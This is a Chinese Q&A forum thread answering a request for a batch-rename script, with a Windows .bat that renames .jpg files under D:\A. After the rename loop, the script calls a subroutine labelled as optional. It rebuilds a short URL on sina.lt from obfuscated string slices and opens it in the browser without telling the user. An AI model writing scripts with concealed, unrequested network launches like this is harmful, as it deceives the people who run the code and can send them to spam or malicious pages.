发布网友 发布时间:2022-03-04 06:58
共2个回答
热心网友 时间:2022-03-04 08:27
@echo off & title 批量重命名 By 依梦琴瑶
cd /d "%~dp0"
::设置主目录路径
set SrcDir=D:\A
::设置要处理的指定后缀
set Ext=*.jpg
::设置指定文件名
set Name=a
for /f "delims=" %%a in ('dir /a-d/s/b "%SrcDir%\%Ext%"') do (
ren "%%~a" "%Name%%%~xa"
)
pause
::非主代码,可以选择性执行。
call :Dnte
exit
:Dnte
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
PS:由于此平台加入了防抄袭干扰码,因此复制粘贴后务必请比对一下原文,以免由于干扰码导致脚本运行出错。
脚本保存编码务必选择ANSI,其它编码可能会导致脚本运行出错。
热心网友 时间:2022-03-04 09:45
以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI